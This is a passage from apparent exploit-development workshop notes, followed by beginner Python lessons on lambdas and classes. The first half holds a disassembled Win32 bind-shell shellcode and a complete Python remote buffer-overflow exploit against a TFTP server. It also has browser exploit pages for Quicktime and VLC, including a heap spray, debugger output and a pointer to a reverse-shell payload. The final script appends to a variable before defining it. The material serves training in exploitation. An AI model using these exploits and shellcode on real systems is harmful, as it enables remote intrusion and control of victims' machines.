  8359. -----------------------------------------------------------------------
  8360.  
  8361. 00000000  FC                cld
  8362. 00000001  6AEB              push byte -0x15
  8363. 00000003  4D                dec ebp
  8364. 00000004  E8F9FFFFFF        call dword 0x2
  8365. 00000009  60                pushad
  8366. 0000000A  8B6C2424          mov ebp,[esp+0x24]
  8367. 0000000E  8B453C            mov eax,[ebp+0x3c]
  8368. 00000011  8B7C0578          mov edi,[ebp+eax+0x78]
  8369. 00000015  01EF              add edi,ebp
  8370. 00000017  8B4F18            mov ecx,[edi+0x18]
  8371. 0000001A  8B5F20            mov ebx,[edi+0x20]
  8372. 0000001D  01EB              add ebx,ebp
  8373. 0000001F  49                dec ecx
  8374. 00000020  8B348B            mov esi,[ebx+ecx*4]
  8375. 00000023  01EE              add esi,ebp
  8376. 00000025  31C0              xor eax,eax
  8377. 00000027  99                cdq
  8378. 00000028  AC                lodsb
  8379. 00000029  84C0              test al,al
  8380. 0000002B  7407              jz 0x34
  8381. 0000002D  C1CA0D            ror edx,0xd
  8382. 00000030  01C2              add edx,eax
  8383. 00000032  EBF4              jmp short 0x28
  8384. 00000034  3B542428          cmp edx,[esp+0x28]
  8385. 00000038  75E5              jnz 0x1f
  8386. 0000003A  8B5F24            mov ebx,[edi+0x24]
  8387. 0000003D  01EB              add ebx,ebp
  8388. 0000003F  668B0C4B          mov cx,[ebx+ecx*2]
  8389. 00000043  8B5F1C            mov ebx,[edi+0x1c]
  8390. 00000046  01EB              add ebx,ebp
  8391. 00000048  032C8B            add ebp,[ebx+ecx*4]
  8392. 0000004B  896C241C          mov [esp+0x1c],ebp
  8393. 0000004F  61                popad
  8394. 00000050  C3                ret
  8395. 00000051  31DB              xor ebx,ebx
  8396. 00000053  648B4330          mov eax,[fs:ebx+0x30]
  8397. 00000057  8B400C            mov eax,[eax+0xc]
  8398. 0000005A  8B701C            mov esi,[eax+0x1c]
  8399. 0000005D  AD                lodsd
  8400. 0000005E  8B4008            mov eax,[eax+0x8]
  8401. 00000061  5E                pop esi
  8402. 00000062  688E4E0EEC        push dword 0xec0e4e8e
  8403. 00000067  50                push eax
  8404. 00000068  FFD6              call esi
  8405. 0000006A  6653              push bx
  8406. 0000006C  66683332          push word 0x3233
  8407. 00000070  687773325F        push dword 0x5f327377
  8408. 00000075  54                push esp
  8409. 00000076  FFD0              call eax
  8410. 00000078  68CBEDFC3B        push dword 0x3bfcedcb
  8411. 0000007D  50                push eax
  8412. 0000007E  FFD6              call esi                     PART 1
  8413. 00000080  5F                pop edi
  8414. 00000081  89E5              mov ebp,esp
  8415. 00000083  6681ED0802        sub bp,0x208
  8416. 00000088  55                push ebp
  8417. 00000089  6A02              push byte +0x2
  8418. 0000008B  FFD0              call eax
  8419. 0000008D  68D909F5AD        push dword 0xadf509d9
  8420. 00000092  57                push edi
  8421. 00000093  FFD6              call esi
  8422. 00000095  53                push ebx
  8423. 00000096  53                push ebx
  8424. --------------------------------------------CUTCUTCUTCUTCUT----8<---8<---8<---
  8425. 00000097  53                push ebx
  8426. 00000098  53                push ebx
  8427. 00000099  53                push ebx
  8428. 0000009A  43                inc ebx
  8429. 0000009B  53                push ebx
  8430. 0000009C  43                inc ebx
  8431. 0000009D  53                push ebx                       PART 2
  8432. 0000009E  FFD0              call eax
  8433. 000000A0  6668115C          push word 0x5c11
  8434. 000000A4  6653              push bx
  8435. 000000A6  89E1              mov ecx,esp
  8436. 000000A8  95                xchg eax,ebp
  8437. 000000A9  68A41A70C7        push dword 0xc7701aa4
  8438. 000000AE  57                push edi
  8439. 000000AF  FFD6              call esi
  8440. 000000B1  6A10              push byte +0x10
  8441. 000000B3  51                push ecx
  8442. 000000B4  55                push ebp
  8443. 000000B5  FFD0              call eax
  8444. 000000B7  68A4AD2EE9        push dword 0xe92eada4
  8445. 000000BC  57                push edi
  8446. 000000BD  FFD6              call esi
  8447. 000000BF  53                push ebx
  8448. 000000C0  55                push ebp
  8449. 000000C1  FFD0              call eax
  8450. 000000C3  68E5498649        push dword 0x498649e5
  8451. 000000C8  57                push edi
  8452. 000000C9  FFD6              call esi
  8453. 000000CB  50                push eax
  8454. 000000CC  54                push esp
  8455. 000000CD  54                push esp
  8456. 000000CE  55                push ebp
  8457. 000000CF  FFD0              call eax
  8458. 000000D1  93                xchg eax,ebx
  8459. 000000D2  68E779C679        push dword 0x79c679e7
  8460. 000000D7  57                push edi
  8461. 000000D8  FFD6              call esi
  8462. 000000DA  55                push ebp
  8463. 000000DB  FFD0              call eax
  8464. 000000DD  666A64            push word 0x64
  8465. 000000E0  6668636D          push word 0x6d63
  8466. 000000E4  89E5              mov ebp,esp
  8467. 000000E6  6A50              push byte +0x50
  8468. 000000E8  59                pop ecx
  8469. 000000E9  29CC              sub esp,ecx
  8470. 000000EB  89E7              mov edi,esp
  8471. 000000ED  6A44              push byte +0x44
  8472. 000000EF  89E2              mov edx,esp
  8473. 000000F1  31C0              xor eax,eax
  8474. 000000F3  F3AA              rep stosb
  8475. 000000F5  FE422D            inc byte [edx+0x2d]
  8476. 000000F8  FE422C            inc byte [edx+0x2c]
  8477. 000000FB  93                xchg eax,ebx
  8478. 000000FC  8D7A38            lea edi,[edx+0x38]
  8479. 000000FF  AB                stosd
  8480. 00000100  AB                stosd
  8481. 00000101  AB                stosd
  8482. 00000102  6872FEB316        push dword 0x16b3fe72
  8483. 00000107  FF7544            push dword [ebp+0x44]
  8484. 0000010A  FFD6              call esi
  8485. 0000010C  5B                pop ebx
  8486. 0000010D  57                push edi
  8487. 0000010E  52                push edx
  8488. 0000010F  51                push ecx
  8489. 00000110  51                push ecx
  8490. 00000111  51                push ecx
  8491. 00000112  6A01              push byte +0x1
  8492. 00000114  51                push ecx
  8493. 00000115  51                push ecx
  8494. 00000116  55                push ebp
  8495. 00000117  51                push ecx
  8496. 00000118  FFD0              call eax
  8497. 0000011A  68ADD905CE        push dword 0xce05d9ad
  8498. 0000011F  53                push ebx
  8499. 00000120  FFD6              call esi
  8500. 00000122  6AFF              push byte -0x1
  8501. 00000124  FF37              push dword [edi]
  8502. 00000126  FFD0              call eax
  8503. 00000128  8B57FC            mov edx,[edi-0x4]
  8504. 0000012B  83C464            add esp,byte +0x64
  8505. 0000012E  FFD6              call esi
  8506. 00000130  52                push edx
  8507. 00000131  FFD0              call eax
  8508. 00000133  68F08A045F        push dword 0x5f048af0
  8509. 00000138  53                push ebx
  8510. 00000139  FFD6              call esi
  8511. 0000013B  FFD0              call eax
  8512.  
  8513.  
  8514.  
  8515.  
  8516. part1 = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
  8517. part1 += "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
  8518. part1 += "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
  8519. part1 += "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
  8520. part1 += "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
  8521. part1 += "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
  8522. part1 += "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
  8523. part1 += "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
  8524. part1 += "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
  8525. part1 += "\xf5\xad\x57\xff\xd6\x53\x53"
  8526.  
  8527.  
  8528. part2 = "\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
  8529. part2 += "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
  8530. part2 += "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
  8531. part2 += "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
  8532. part2 += "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
  8533. part2 += "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
  8534. part2 += "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
  8535. part2 += "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
  8536. part2 += "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
  8537. part2 += "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
  8538. part2 += "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0"
  8539.  
  8540.  
  8541. STACK SHIFTER:
  8542. prepend = "\x81\xC4\xFF\xEF\xFF\xFF"  # add esp, -1001h
  8543. prepend += "\x44"                     # inc esp
  8544.  
  8545.  
  8546.  
  8547.  
  8548.  
  8549.  
  8550.  
  8551.  
  8552.  
  8553.  
  8554.  
  8555.  
  8556.  
  8557.  
  8558. ---- final script ----
  8559.  
  8560. #!/usr/bin/python2
  8561. #TFTP Server remote Buffer Overflow
  8562.  
  8563. import sys
  8564. import socket
  8565. import struct
  8566.  
  8567. if len(sys.argv) < 2:
  8568.        sys.stderr.write("Usage: tftpd.py <host>\n")
  8569.        sys.exit(1)
  8570.  
  8571. target = sys.argv[1]
  8572. port = 69
  8573.  
  8574. eip = 0x7e429353         # jmp esp in USER32.DLL
  8575.  
  8576. part1 += "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
  8577. part1 += "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
  8578. part1 += "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
  8579. part1 += "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
  8580. part1 += "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
  8581. part1 += "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
  8582. part1 += "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
  8583. part1 += "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
  8584. part1 += "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
  8585. part1 += "\xf5\xad\x57\xff\xd6\x53\x53"
  8586.  
  8587. part2 = "\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
  8588. part2 += "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
  8589. part2 += "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
  8590. part2 += "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
  8591. part2 += "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
  8592. part2 += "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
  8593. part2 += "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
  8594. part2 += "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
  8595. part2 += "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
  8596. part2 += "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
  8597. part2 += "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0"
  8598.  
  8599. prepend = "\x81\xC4\xFF\xEF\xFF\xFF"                    # add esp, -1001h
  8600. prepend += "\x44"                                       # inc esp
  8601.  
  8602. buf = "\x00\x01"                                        # receive command
  8603.  
  8604. buf += "\x90" * (256 - len(part2))                      # NOPs
  8605. buf += part2                                            # shellcode part 2
  8606. buf += struct.pack('<I', eip)                           # EIP (JMP ESP)
  8607. buf += prepend                                          # stack shifter
  8608. buf += part1                                            # shellcode part 1
  8609. buf += "\xE9" + struct.pack('<i', -380)                 # JMP -380
  8610. buf += "\x00"                                           # END
  8611.  
  8612. # print buf
  8613.  
  8614. # buf = "\x00\x01"                                      # receive command
  8615.  
  8616. # buf += "A" * 300 + "\x00"
  8617.  
  8618. sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  8619.  
  8620. try:
  8621.        sock.connect((target, port))
  8622.        sock.sendall(buf)
  8623. except Exception as e:
  8624.        sys.stderr.write("Cannot send to "+str(target)+" : "+str(port)+" : "+str(e)+"!\n")
  8625. finally:
  8626.        sock.close()
  8627.        sys.stderr.write("Sent.\n")
  8628.  
  8629.  
  8630.  
  8631. -----------------------------------------------------------------------------------------------------------------
  8632.  
  8633.  
  8634.  
  8635.  
  8636. How does all of this actually work
  8637.  
  8638.  
  8639.  
  8640.  
  8641. Total shellcode length:         315
  8642.      
  8643.                                Part1:  150
  8644.                                Part2:  165
  8645.  
  8646.  
  8647. NOPS * (256 - 165)
  8648.  
  8649. 91 NOPS + (165 bytes shellcode p2) + JMP ESP (4 bytes) + Stack Shift (-1000) + (150 bytes shellcode p1) + (neg jmp -380)
  8650.                        |                       |                                       |
  8651.                        256                     260                                     150 (410)               |
  8652.  |<------------------------------------------------------------------------------------------------------------|                                                                                                                                                              
  8653. Jump to the
  8654. 30 byte mark
  8655.  
  8656.  
  8657.  
  8658. ############################
  8659. # Lab 3: Browsers Exploits #
  8660. ############################
  8661.  
  8662. ---------------------------Type This-----------------------------------
  8663.  
  8664. cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab3\ffvlc_skeleton
  8665. -----------------------------------------------------------------------
  8666.  
  8667.  
  8668. Quicktime - overflow, if we send a very long rtsp:// URL, Quicktime crashes
  8669. rtsp://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA......50000
  8670.  
  8671. <object id=quicktime clsid="999-999999-99-99999">
  8672.  <param name="URL" value="rtsp://AAAAAAAAAAAAAAAAAAAAAAAAA....">
  8673. </object>
  8674.  
  8675. var buf = "";
  8676. for(i = 0; i < 50000; i++)
  8677.   buf += "A";
  8678. var myobject = document.getElementById("quicktime");
  8679. myobject.url = buf;
  8680.  
  8681. YOU CAN PRE-LOAD THE PROCESS MEMORY MORE OR LESS IN A WAY YOU LIKE BEFORE TRIGGERING THE EXPLOIT!!!!
  8682.  
  8683. - Browsers (Flash)
  8684. - PDF
  8685. - MS Office / OOo
  8686.  
  8687. VLC smb:// exploit
  8688. ------------------
  8689.  
  8690. EXPLOIT VECTOR
  8691.  
  8692. smb://example.com@0.0.0.0/foo/#{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}
  8693.  
  8694. Exploit Scripts
  8695. - ffvlc
  8696.  
  8697. ON YOUR HOST, RUN THE WEBSERVER ON PORT 8080
  8698.  
  8699. ---------------------------Type This-----------------------------------
  8700.  
  8701. perl daemon.pl vlc0.html
  8702. -----------------------------------------------------------------------
  8703.  
  8704. ON YOUR Strategicsec-XP-ED-Target-VM VM, START FIREFOX
  8705. Browse to http://your_host_ip_address:8080/
  8706.  
  8707. vlc0.html
  8708. ---------
  8709. <script>
  8710.   var buf = "";
  8711.   for(i = 0; i < 1250; i++)
  8712.      buf += unescape("%41%41%41%41");
  8713.   var track = "smb://example.com\@0.0.0.0/foo/#{" + buf + "}";
  8714.   document.write("<embed type='application/x-vlc-plugin' target='" + track + "' />");
  8715. </script>
  8716.  
  8717. vlc1.html
  8718. ---------
  8719. <script>
  8720.  
  8721.   // shellcode created in heap memory
  8722.   var shellcode = unescape("%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc");
  8723.  
  8724.   // 800K block of NOPS
  8725.   var nop = unescape("%u9090%u09090");   // 4 NOPS
  8726.   while(nop.length < 0xc0000) {
  8727.      nop += nop;
  8728.   }
  8729.  
  8730.   // spray the heap with NOP+shellcode
  8731.   var memory = new Array();
  8732.   for(i = 0; i < 50; i++) {
  8733.      memory[i] = nop + shellcode;
  8734.   }
  8735.  
  8736.   // build the exploit payload
  8737.   var buf = "";
  8738.   for(i = 0; i < 1250; i++)
  8739.      buf += unescape("%41%41%41%41");
  8740.   var track = "smb://example.com\@0.0.0.0/foo/#{" + buf + "}";
  8741.  
  8742.   // trigger the exploit
  8743.   document.write("<embed type='application/x-vlc-plugin' target='" + track + "' />");
  8744. </script>
  8745.  
  8746. ---------------------------Type This-----------------------------------
  8747.  
  8748. perl daemon.pl vlc1.html
  8749. -----------------------------------------------------------------------
  8750.  
  8751. Search for where our NOPS+shellcode lies in the heap
  8752.  
  8753. s 0 l fffffff 90 90 90 90 cc cc cc cc
  8754.  
  8755. 0:019> s 0 l fffffff 90 90 90 90 cc cc cc cc
  8756. 03dffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
  8757. 040ffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
  8758. 043ffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
  8759. 046ffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
  8760. 049ffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
  8761. 04cffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
  8762. 04fffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
  8763. 052ffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
  8764. 055ffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
  8765. 058ffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
  8766. 05bffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
  8767. 05effffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
  8768. 061ffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
  8769. 064ffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
  8770. 067ffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
  8771. 06affffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
  8772.  
  8773. Edit vlc2.html
  8774. replace %41%41%41%41 with %07%07%07%07
  8775.  
  8776. (928.fd0): Break instruction exception - code 80000003 (first chance)
  8777. eax=fffffd66 ebx=07070707 ecx=77c2c2e3 edx=00340000 esi=07070707 edi=07070707
  8778. eip=07100000 esp=0e7afc58 ebp=07070707 iopl=0         nv up ei pl nz ac pe nc
  8779. cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
  8780. 07100000 cc              int     3
  8781. 0:019> u
  8782. 07100000 cc              int     3
  8783. 07100001 cc              int     3
  8784. 07100002 cc              int     3
  8785. 07100003 cc              int     3
  8786. 07100004 cc              int     3
  8787. 07100005 cc              int     3
  8788. 07100006 cc              int     3
  8789. 07100007 cc              int     3
  8790.  
  8791. Create vlc3.html (Copy vlc2.html to vlc3.html)
  8792. ----------------------------------------------
  8793. Win32 Reverse Shell
  8794. - no restricted characters
  8795. - Encoder NONE
  8796. - use the Javascript encoded payload generated by msfweb
  8797.  
  8798. ##########################
  8799. # Python Lambda Function #
  8800. ##########################
  8801.  
  8802.  
  8803. Python allows you to create anonymous function i.e function having no names using a facility called lambda function.
  8804.  
  8805. lambda functions are small functions usually not more than a line. It can have any number of arguments just like a normal function. The body of lambda functions is very small and consists of only one expression. The result of the expression is the value when the lambda is applied to an argument. Also there is no need for any return statement in lambda function.
  8806.  
  8807. Let’s take an example:
  8808.  
  8809. Consider a function multiply()
  8810.  
  8811. def multiply(x, y):
  8812.    return x * y
  8813.  
  8814.  
  8815. This function is too small, so let’s convert it into a lambda function.
  8816.  
  8817. To create a lambda function first write keyword lambda followed by one of more arguments separated by comma, followed by colon sign ( : ), followed by a single line expression.
  8818.  
  8819. ---------------------------Type This-----------------------------------
  8820.  
  8821. >>> r = lambda x, y: x * y
  8822. >>> r(12,3)
  8823. 36
  8824. -----------------------------------------------------------------------
  8825.  
  8826. Here we are using two arguments x  and y , expression after colon is the body of the lambda function. As you can see lambda function has no name and is called through the variable it is assigned to.
  8827.  
  8828. You don’t need to assign lambda function to a variable.
  8829.  
  8830. ---------------------------Type This-----------------------------------
  8831.  
  8832. >>> (lambda x, y: x * y)(3,4)
  8833. 12
  8834. -----------------------------------------------------------------------
  8835.  
  8836. Note that lambda function can’t contain more than one expression.
  8837.  
  8838.  
  8839.  
  8840. ##################
  8841. # Python Classes #
  8842. ##################
  8843.  
  8844.  
  8845. ****************
  8846. * Introduction *
  8847. ****************
  8848.  
  8849. Classes are the cornerstone of Object Oriented Programming. They are the blueprints used to create objects. And, as the name suggests, all of Object Oriented Programming centers around the use of objects to build programs.
  8850.  
  8851. You don't write objects, not really. They are created, or instantiated, in a program using a class as their basis. So, you design objects by writing classes. That means that the most important part of understanding Object Oriented Programming is understanding what classes are and how they work.
  8852.  
  8853.  
  8854. ***********************
  8855. * Real World Examples *
  8856. ***********************
  8857.  
  8858.  
  8859. This next part if going to get abstract. You can think of objects in programming just like objects in the real world. Classes are then the way you would describe those objects and the plans for what they can do.
  8860.  
  8861. Start off by thinking about a web vuln scanner.
  8862.  
  8863. What about what they can do? Nearly every web vuln scanner can do the same basic things, but they just might do them differently or at different speeds. You could then describe the actions that a vuln scanner can perform using functions. In Object Oriented Programming, though, functions are called methods.
  8864.  
  8865. So, if you were looking to use "vuln scanner" objects in your program, you would create a "vuln scanner" class to serve as a blueprint with all of the variables that you would want to hold information about your "vuln scanner" objects and all of the methods to describe what you would like your vuln scanner to be able to do.
  8866.  
  8867.  
  8868. ******************
  8869. * A Python Class *
  8870. ******************
  8871.  
  8872.  
  8873. Now that you have a general idea of what a class is, it's best to take a look at a real Python class and study how it is structured.
  8874.  
  8875. ---------------------------Paste This-----------------------------------
  8876.  
  8877. class WebVulnScanner(object):
  8878.    make = 'Acunetix'
  8879.    model = '10.5'
  8880.    year = '2014'
  8881.    version ='Consultant Edition'
  8882.  
  8883.    profile = 'High Risk'
  8884.  
  8885.  
  8886.    def crawling(self, speed):
  8887.        print("Crawling at %s" % speed)
  8888.  
  8889.  
  8890.    def scanning(self, speed):
  8891.        print("Scanning at %s" % speed)
  8892. -----------------------------------------------------------------------
  8893.  
  8894.  
  8895. Creating a class looks a lot like creating a function. Instead of def you use the keyword, class. Then, you give it a name, just like you would a function. It also has parenthesis like a function, but they don't work the way you think. For a class the parenthesis allow it to extend an existing class. Don't worry about this right now, just understand that you have to put object there because it's the base of all other classes.
  8896.  
  8897. From there, you can see a bunch of familiar things that you'd see floating around any Python program, variables and functions. There are a series of variables with information about the scanner and a couple of methods(functions) describing what the scanner can do. You can see that each of the methods takes two parameters, self and speed. You can see that "speed" is used in the methods to print out how fast the scanner is scanning, but "self" is different.
  8898.  
  8899.  
  8900. *****************
  8901. * What is Self? *
  8902. *****************
  8903.  
  8904. Alright, so "self" is the biggest quirk in the way that Python handles Object Oriented Programming. In most languages, classes and objects are just aware of their variables in their methods. Python needs to be told to remember them. When you pass "self" to a method, you are essentially passing that object to its method to remind it of all of the variables and other methods in that object. You also need to use it when using variables in methods. For example, if you wanted to output the model of the scanner along with the speed, it looks like this.
  8905.  
  8906. ---------------------------Type This-----------------------------------
  8907.  
  8908. print("Your %s is crawling at %s" % (self.model, speed))
  8909. -----------------------------------------------------------------------
  8910.  
  8911. It's awkward and odd, but it works, and it's really not worth worrying about. Just remember to include "self" as the first parameter of your methods and "self." in front of your variables, and you'll be alright.
  8912.  
  8913.  
  8914. *****************
  8915. * Using A Class *
  8916. *****************
  8917.  
  8918.  
  8919. You're ready to start using the WebVulnScanner class. Create a new Python file and paste the class in. Below, you can create an object using it. Creating, or instantiating, an object in Python looks like the line below.
  8920. ---------------------------Type This-----------------------------------
  8921.  
  8922. myscanner = WebVulnScanner()
  8923. -----------------------------------------------------------------------
  8924.  
  8925.  
  8926. That's it. To create a new object, you just have to make a new variable and set it equal to class that you are basing your object on.
  8927.  
  8928. Get your scanner object to print out its make and model.
  8929. ---------------------------Type This-----------------------------------
  8930.  
  8931. print("%s %s" % (myscanner.make, myscanner.model))
  8932. -----------------------------------------------------------------------
  8933.  
  8934. The use of a . between an object and its internal components is called the dot notation. It's very common in OOP. It works for methods the same way it does for variables.
  8935. ---------------------------Type This-----------------------------------
  8936.  
  8937. myscanner.scanning('10req/sec')
  8938. -----------------------------------------------------------------------
  8939.  
  8940. What if you want to change the profile of your scanning? You can definitely do that too, and it works just like changing the value of any other variable. Try printing out the profile of your scanner first. Then, change the profile, and print it out again.
  8941. ---------------------------Type This-----------------------------------
  8942.  
  8943. print("The profile of my scanner settings is %s" % myscanner.profile)
  8944. myscanner.profile = "default"
  8945. print("The profile of my scanner settings is %s" % myscanner.profile)
  8946. -----------------------------------------------------------------------
  8947.  
  8948. Your scanner settings are default now. What about a new WebVulnScanner? If you made a new scanner object, would the scanning profile be default? Give it a shot.
  8949. ---------------------------Type This-----------------------------------
  8950.  
  8951. mynewscanner = WebVulnScanner()
  8952. print("The scanning profile of my new scanner is %s" % mynewscanner.profile)
  8953. -----------------------------------------------------------------------
  8954.  
  8955. That one's high risk. New objects are copied from the class, and the class still says that the profile is high risk. Objects exist in the computer's memory while a program is running. When you change the values within an object, they are specific to that object as it exists in memory. The changes won't persist once the program stops and won't change the class that it was created from.
  8956.  
  8957.  
  8958. #########################################
  8959. # The self variable in python explained #
  8960. #########################################
  8961.  
  8962. So lets start by making a class involving the self variable.
  8963.  
  8964. A simple class :
  8965.  
  8966. So here is our class:
  8967. ---------------------------Paste This-----------------------------------
  8968.  
  8969. class port(object):
  8970.    open = False
  8971.    def open_port(self):
  8972.        if not self.open:
  8973.            print("port open")
  8974.  
  8975. -----------------------------------------------------------------------
  8976.  
  8977. First let me explain the above code without the technicalities. First of all we make a class port. Then we assign it a property “open” which is currently false. After that we assign it a function open_port which can only occur if “open” is False which means that the port is open.
  8978.  
  8979. Making a Port:
  8980.  
  8981. Now that we have made a class for a Port, lets actually make a port:
  8982. ---------------------------Type This-----------------------------------
  8983.  
  8984. x = port()
  8985. -----------------------------------------------------------------------
  8986.  
  8987. Now x is a port which has a property open and a function open_port. Now we can access the property open by typing:
  8988. ---------------------------Type This-----------------------------------
  8989.  
  8990. x.open
  8991. -----------------------------------------------------------------------
  8992.  
  8993. The above command is same as:
  8994. ---------------------------Type This-----------------------------------
  8995.  
  8996. port().open
  8997. -----------------------------------------------------------------------
  8998.  
  8999. Now you can see that self refers to the bound variable or object. In the first case it was x because we had assigned the port class to x whereas in the second case it referred to port(). Now if we have another port y, self will know to access the open value of y and not x. For example check this example:
  9000. ---------------------------Type This-----------------------------------
  9001.  
  9002. >>> x = port()
  9003. >>> x.open
  9004. False
  9005. >>> y = port()
  9006. >>> y.open = True
  9007. >>> y.open
  9008. True
  9009. >>> x.open
  9010. False
  9011.  
  9012. -----------------------------------------------------------------------
  9013. The first argument of every class method, including init, is always a reference to the current instance of the class. By convention, this argument is always named self. In the init method, self refers to the newly created object; in other class methods, it refers to the instance whose method was called. For example the below code is the same as the above code.
  9014.  
  9015. ---------------------------Paste This-----------------------------------
  9016.  
  9017. class port(object):
  9018.    open = False
  9019.    def open_port(this):
  9020.        if not this.open:
  9021.            print("port open")
  9022.  
  9023. -----------------------------------------------------------------------
  9024.  
  9025.  
  9026.  
  9027.  
  9028.  
  9029.  
  9030. ##################################
  9031. # Day 3 Homework videos to watch #
  9032. ##################################
  9033. Here is your first set of youtube videos that I'd like for you to watch:
  9034. https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA (watch videos 21-30)
  9035.  
  9036.  
  9037.  
  9038.  
  9039.  
